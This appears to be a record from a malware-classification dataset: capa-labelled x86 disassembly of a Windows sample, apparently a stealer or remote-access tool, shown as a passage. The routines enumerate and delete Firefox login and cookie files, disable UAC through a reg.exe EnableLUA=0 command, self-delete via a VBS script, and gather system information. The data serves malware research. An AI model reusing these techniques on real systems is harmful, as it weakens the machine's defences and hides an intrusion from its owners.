joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40aa71
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004020bf
lea ecx, [ebp - 0x48]
call fcn.004020bf
lea ecx, [ebp - 0x18]
call fcn.004020bf
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402073
push eax
push 0x46364c
call fcn.00439e6a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004052dd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fc2
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x78]
call fcn.00401fb8
lea eax, [ebp - 0x1d0]
push eax
push 0x46360c
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040822a
pop ecx
mov ecx, eax
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00401fb8
cmp esi, 0xffffffff
jne 0x40ac25
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402073
call fcn.0040b119
add esp, 0x18
jmp 0x40ac59
test byte [ebp - 0x1d0], 0x10
je 0x40ac25
lea eax, [ebp - 0x1a4]
push 0x46376c
push eax
call fcn.0043a300
pop ecx
pop ecx
test eax, eax
je 0x40ac25
lea eax, [ebp - 0x1a4]
push 0x463770
push eax
call fcn.0043a300
pop ecx
pop ecx
test eax, eax
je 0x40ac25
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.0040822a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00408209
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401fc2
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x90]
call fcn.00401fb8
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.0040822a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00408209
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401fc2
lea ecx, [ebp - 0x90]
call fcn.00401fb8
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x60]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40ac0c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40ac25
call dword [sym.imp.KERNEL32.DLL_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40ab2c
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402073
call fcn.0040b119
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x60]
call fcn.00401fb8
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40ac78
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020bf
lea ecx, [ebp - 0x18]
call fcn.004020bf
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402073
push eax
push 0x46364c
call fcn.00439e6a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004052dd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fc2
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x60]
call fcn.00401fb8
lea eax, [ebp - 0x1b8]
push eax
push 0x46360c
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.0040822a
pop ecx
mov ecx, eax
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fb8
cmp esi, 0xffffffff
jne 0x40adc2
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402073
call fcn.0040b119
add esp, 0x18
jmp 0x40adf6
test byte [ebp - 0x1b8], 0x10
je 0x40adc2
lea eax, [ebp - 0x18c]
push 0x46376c
push eax
call fcn.0043a300
pop ecx
pop ecx
test eax, eax
je 0x40adc2
lea eax, [ebp - 0x18c]
push 0x463770
push eax
call fcn.0043a300
pop ecx
pop ecx
test eax, eax
je 0x40adc2
lea eax, [ebp - 0x18c]
push 0x4637d4
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040822a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00408209
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fc2
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x78]
call fcn.00401fb8
lea ecx, [ebp - 0x30]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40ae1b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
jne 0x40ae10
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40ad2c
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402073
call fcn.0040b119
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp - 0x30]
call fcn.00401fb8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor bl, bl
jmp 0x40adf8
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40ad1a
Function at 0x40ae2a
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020bf
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, connect
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.00411f91
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fc2
lea ecx, [ebp - 0x30]
call fcn.00401fb8
mov edx, 0x463050
lea ecx, [ebp - 0x18]
call fcn.00405ae5
test al, al
je 0x40ae97
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402073
call fcn.0040b119
mov bl, 1
jmp 0x40af3a
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40ae7c
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402073
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.00419bca
mov ecx, eax
call fcn.00401ee4
mov ecx, eax
call fcn.0041a01b
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401fb8
test esi, esi
je 0x40af10
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40ae86
push ebx
push 0x463888
mov ecx, 0x472910
call fcn.004060ea
test eax, eax
je 0x40af3d
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402073
call fcn.0040b119
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b0a3
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x46fae9], cl
push edi
mov dword [0x46faf8], eax
test cl, cl
je 0x40b100
mov edi, 0x4638e0
mov dword [ebp - 4], esi
mov ebx, 0x472200
push edi
mov ecx, ebx
call fcn.00401f8b
mov edx, eax
call fcn.00411eea
pop ecx
test al, al
je 0x40b100
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401f8b
mov edx, eax
call fcn.00411f34
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40b100
xor al, al
jmp 0x40b112
push esi
push esi
push esi
push 0x40af4d
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b28e
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.00439e5f
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040415e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.0040808e
lea eax, [ebp - 0x2e0]
push eax
push 0x463288
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.004081c7
pop ecx
mov ecx, eax
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00401ee9
cmp edi, 0xffffffff
jne 0x40b302
push 0x469654
mov ecx, esi
call fcn.0040415e
jmp 0x40b3d8
lea ecx, [ebp - 0x48]
call fcn.004020bf
jmp 0x40b3a7
test byte [ebp - 0x2e0], 0x10
je 0x40b3a7
lea eax, [ebp - 0x2b4]
push 0x4631c8
push eax
call fcn.00439f5d
pop ecx
pop ecx
test eax, eax
je 0x40b3a7
lea eax, [ebp - 0x2b4]
push 0x4632ac
push eax
call fcn.00439f5d
pop ecx
pop ecx
test eax, eax
je 0x40b3a7
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.0040415e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.004081c7
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402f85
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00401ee9
lea ecx, [ebp - 0x90]
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40b3e8
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x40b30f
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
push 0x469654
mov ecx, esi
call fcn.0040415e
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x18]
call fcn.00401ee9
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00403242
lea ecx, [ebp - 0x30]
call fcn.00401ee9
jmp 0x40b3d0
Function at 0x40c3b8
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.004112b5
mov esi, 0x472248
mov ecx, esi
call fcn.0040245c
push eax
mov ecx, esi
call fcn.00401f8b
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x472200
call fcn.00401f8b
mov edx, eax
call fcn.004120e8
add esp, 0x14
xor edi, edi
test al, al
jne 0x40c418
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.00419959
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00419bca
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00402ff4
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea eax, [ebp - 0x78]
push eax
push 0x4632a8
push 0x463bd0
call fcn.00439e5f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040415e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.004042fd
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x18]
call fcn.00401f66
push 0x463c74
push str._____0
lea ecx, [ebp - 0xc0]
call fcn.0040415e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040415e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040323d
lea ecx, [ebp - 0x48]
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x90]
call fcn.00401ee9
lea ecx, [ebp - 0xa8]
call fcn.00401ee9
lea ecx, [ebp - 0xc0]
call fcn.00401ee9
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.0040808e
push edi
lea ecx, [ebp - 0x60]
call fcn.00401ee4
push eax
lea ecx, [ebp - 0x18]
call fcn.0040245c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401ee4
mov edx, esi
mov ecx, eax
call fcn.0041a17b
pop ecx
pop ecx
test al, al
je 0x40c583
push edi
mov eax, 0x469654
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401ee4
push eax
push 0x4630ac
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40c583
push edi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401ee9
lea ecx, [ebp - 0x60]
call fcn.00401ee9
lea ecx, [ebp - 0x78]
call fcn.00401ee9
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40e2e7
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x388
push ebp
push esi
push edi
mov edi, ecx
call fcn.004020bf
call fcn.00419f23
push 0
push 2
mov byte [0x471aa8], al
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40e4f5
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
je 0x40e4ee
mov ebp, 0x464158
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x14]
call fcn.0040415e
mov ecx, dword [esp + 0x168]
push 0x464154
call fcn.00419f51
movzx edx, al
lea ecx, [esp + 0x14c]
call fcn.00419b16
mov edx, dword [esp + 0x16c]
lea ecx, [esp + 0x134]
push eax
push ebp
call fcn.00419b16
mov edx, dword [esp + 0x174]
lea ecx, [esp + 0x124]
push eax
push ebp
call fcn.00419f87
mov edx, eax
lea ecx, [esp + 0x114]
call fcn.00419c8a
push eax
push ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x104]
call fcn.00419c8a
push eax
mov edx, edi
lea ecx, [esp + 0xf0]
call fcn.004081a6
pop ecx
mov edx, eax
lea ecx, [esp + 0xd4]
call fcn.00408209
pop ecx
mov edx, eax
lea ecx, [esp + 0xb8]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x9c]
call fcn.00408209
pop ecx
mov edx, eax
lea ecx, [esp + 0x80]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x64]
call fcn.00408209
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00408209
pop ecx
push eax
mov ecx, edi
call fcn.00401fc2
lea ecx, [esp + 0x28]
call fcn.00401fb8
lea ecx, [esp + 0x40]
call fcn.00401fb8
lea ecx, [esp + 0x58]
call fcn.00401fb8
lea ecx, [esp + 0x70]
call fcn.00401fb8
lea ecx, [esp + 0x88]
call fcn.00401fb8
lea ecx, [esp + 0xa0]
call fcn.00401fb8
lea ecx, [esp + 0xb8]
call fcn.00401fb8
lea ecx, [esp + 0xd0]
call fcn.00401fb8
lea ecx, [esp + 0xe8]
call fcn.00401fb8
lea ecx, [esp + 0x100]
call fcn.00401fb8
lea ecx, [esp + 0x118]
call fcn.00401ee9
lea ecx, [esp + 0x130]
call fcn.00401fb8
lea ecx, [esp + 0x148]
call fcn.00401fb8
lea ecx, [esp + 0x10]
call fcn.00401ee9
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x40e34b
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x388
ret
Function at 0x40e501
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.00434c30
push 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 0x58], esi
push edi
push eax
call fcn.00434c30
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40f30b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x40f442
cmp byte [edi + 0x3d], bl
je 0x40f442
call fcn.00402e7d
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], esi
push eax
call fcn.0040c925
pop ecx
pop ecx
test al, al
je 0x40f361
xor al, al
jmp 0x40f444
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.004051ec
lea ebp, [edi + 0x40]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x30]
call fcn.0040249c
mov ecx, eax
call fcn.0040337b
lea ecx, [esp + 0x2c]
mov esi, eax
call fcn.0040245c
add esi, eax
lea ecx, [esp + 0x2c]
push esi
lea eax, [esp + 0x1c]
push eax
call fcn.0040249c
mov ecx, eax
call fcn.0040337b
mov ecx, dword [edi + 0x38]
push eax
push ebp
call fcn.0040ccac
sub eax, ebx
je 0x40f3c9
sub eax, 1
je 0x40f3cc
dec eax
sub eax, 1
jne 0x40f435
inc eax
jmp 0x40f433
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x2c]
call fcn.0040249c
mov ecx, eax
call fcn.0040337b
mov esi, dword [esp + 0x1c]
sub esi, eax
je 0x40f411
push dword [edi + 0x4c]
lea eax, [esp + 0x28]
push esi
push 1
push eax
lea ecx, [esp + 0x38]
call fcn.0040249c
mov ecx, eax
call fcn.0040337b
push eax
call fcn.0043acc0
add esp, 0x10
cmp esi, eax
jne 0x40f431
cmp byte [edi + 0x3d], bl
je 0x40f42f
test esi, esi
jne 0x40f370
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.00402a31
jmp 0x40f370
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x28]
call fcn.00401fb8
mov al, bl
jmp 0x40f444
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4112b5
Capabilities:
Terminate process

Disassembly:
push ebx
push 0
push dword [0x46fd2c]
mov byte [0x46fd13], 0
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 0xffffffffffffffff
push dword [0x46fd2c]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0x41312a
Capabilities:
Resolve dns

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x1c]
push esi
push edi
push ecx
and dword [ebp], 0
mov dword [esp + 0x14], edx
mov byte [ebx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x4131a8
cmp word [esi + 8], 2
jne 0x41318a
push 4
pop eax
cmp word [esi + 0xa], ax
jne 0x41318a
mov edi, dword [esi + 0xc]
jmp 0x413184
push dword [eax]
mov edx, dword [esp + 0x1c]
push dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
call fcn.004130c3
mov dword [ebp], eax
test eax, eax
je 0x4131a3
lea ebp, [eax + 0x1c]
add edi, 4
mov eax, dword [edi]
test eax, eax
jne 0x413164
push 0x400
push dword [esi]
push 0x401
push ebx
call fcn.0043c1e3
add esp, 0x10
xor eax, eax
jmp 0x4131c6
push 8
pop eax
jmp 0x4131c6
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x2af9
sub eax, ecx
je 0x4131c4
sub eax, 1
je 0x4131d5
sub eax, 1
je 0x4131ce
sub eax, 1
mov eax, ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0x10
mov eax, 0x2afb
jmp 0x4131c6
mov eax, 0x2afa
jmp 0x4131c6

Function at 0x4137dc
Capabilities:
Get common file path

Disassembly:
sub esp, 0x22c
cmp dword [0x473a34], 0
mov dword [esp], str.getaddrinfo
mov dword [esp + 4], 0x413360
mov dword [esp + 8], str.getnameinfo
mov dword [esp + 0xc], 0x413606
mov dword [esp + 0x10], str.freeaddrinfo
mov dword [esp + 0x14], fcn.00413325
jne 0x413933
push 0x104
lea eax, [esp + 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
test eax, eax
je 0x413929
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x134]
mov ebx, 0x10c
push eax
lea eax, [esp + 0x2c]
push ebx
push eax
call fcn.0043ef0c
push str.ws2_32
lea eax, [esp + 0x38]
push ebx
push eax
call fcn.0043ef66
add esp, 0x18
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
mov ebp, dword [sym.imp.KERNEL32.DLL_FreeLibrary]
xor edi, edi
test esi, esi
je 0x41389c
push str.getaddrinfo
push esi
call ebx
test eax, eax
jne 0x413898
push esi
call ebp
mov esi, edi
test esi, esi
jne 0x4138ed
lea eax, [esp + 0x134]
mov esi, 0x10c
push eax
lea eax, [esp + 0x2c]
push esi
push eax
call fcn.0043ef0c
push str.wship6
lea eax, [esp + 0x38]
push esi
push eax
call fcn.0043ef66
add esp, 0x18
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x413925
push str.getaddrinfo
push esi
call ebx
test eax, eax
jne 0x4138e9
push esi
call ebp
mov esi, edi
test esi, esi
je 0x413925
mov ebx, edi
push dword [esp + ebx*8 + 0x10]
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [esp + ebx*8 + 0x14], eax
test eax, eax
je 0x41390a
inc ebx
cmp ebx, 3
jl 0x4138ef
jmp 0x41390f
push esi
call ebp
mov esi, edi
test esi, esi
je 0x413925
mov eax, dword [esp + edi + 0x14]
mov dword [edi + 0x46e9ec], eax
add edi, 8
cmp edi, 0x18
jl 0x413913
pop edi
pop esi
pop ebp
pop ebx
mov dword [0x473a34], 1
mov eax, dword [0x46e9ec]
add esp, 0x22c
ret
Function at 0x4159ba
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
push esi
push str._sysinfo.txt
push str.temp
call fcn.00439e5f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040415e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402ff4
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ee9
xor ebx, ebx
lea eax, [ebp - 0x48]
push ebx
push ebx
push eax
mov edx, 0x4694d0
lea ecx, [ebp - 0x30]
call fcn.0040a8cc
pop ecx
mov ecx, eax
call fcn.00401ee4
push eax
push str.dxdiag
push 0x4630ac
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x18]
call fcn.004020bf
mov esi, ebx
lea ecx, [ebp - 0x48]
call fcn.00401ee4
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.0041a20f
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x18]
inc esi
call fcn.00406131
test al, al
je 0x415a61
cmp esi, 0x4b0
jl 0x415a32
lea ecx, [ebp - 0x18]
call fcn.00406131
test al, al
jne 0x415af1
lea ecx, [ebp - 0x48]
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
push 1
lea ecx, [ebp - 0xc8]
call fcn.004046d7
push ecx
lea ecx, [ebp - 0xc8]
call fcn.004048a8
test al, al
je 0x415ae6
sub esp, 0x18
lea eax, [ebp - 0x18]
mov esi, esp
lea edx, [ebp + 8]
lea ecx, [ebp - 0x30]
push eax
push 0x471e78
call fcn.00402f11
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ef0
pop ecx
push 0x97
lea ecx, [ebp - 0xc8]
call fcn.00404a81
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0xc8]
call fcn.00404e06
mov bl, 1
lea ecx, [ebp - 0xc8]
call fcn.00404ec2
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp - 0x48]
call fcn.00401ee9
lea ecx, [ebp + 8]
call fcn.00401fb8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41601d
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
lea eax, [ebp + 8]
lea ecx, [ebp - 0x84]
push ebx
push esi
push edi
push eax
push 0x463068
call fcn.00402073
push eax
push str.Temp
call fcn.00439e6a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.004052dd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00402ef0
pop ecx
lea ecx, [ebp - 0x6c]
call fcn.00401fb8
lea ecx, [ebp - 0x84]
call fcn.00401fb8
push ecx
push ecx
push 0x10
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
lea ecx, [ebp - 0x138]
call fcn.0040e609
lea ecx, [ebp - 0x138]
call fcn.0041625a
test al, al
je 0x41614e
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x138]
call fcn.0041626a
lea ecx, [ebp - 0x138]
call fcn.0040e5ba
and dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x18]
and dword [ebp - 0x48], 0
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
call fcn.00401f8b
movaps xmm0, xmmword [0x469e50]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
push eax
movups xmmword [ebp - 0x40], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
mov esi, 0x463050
mov edi, 0x472540
setne bl
cmp dword [ebp - 0x1c], 0
je 0x416138
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402073
push 0x70
mov ecx, edi
call fcn.00404a81
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
cmp bl, 1
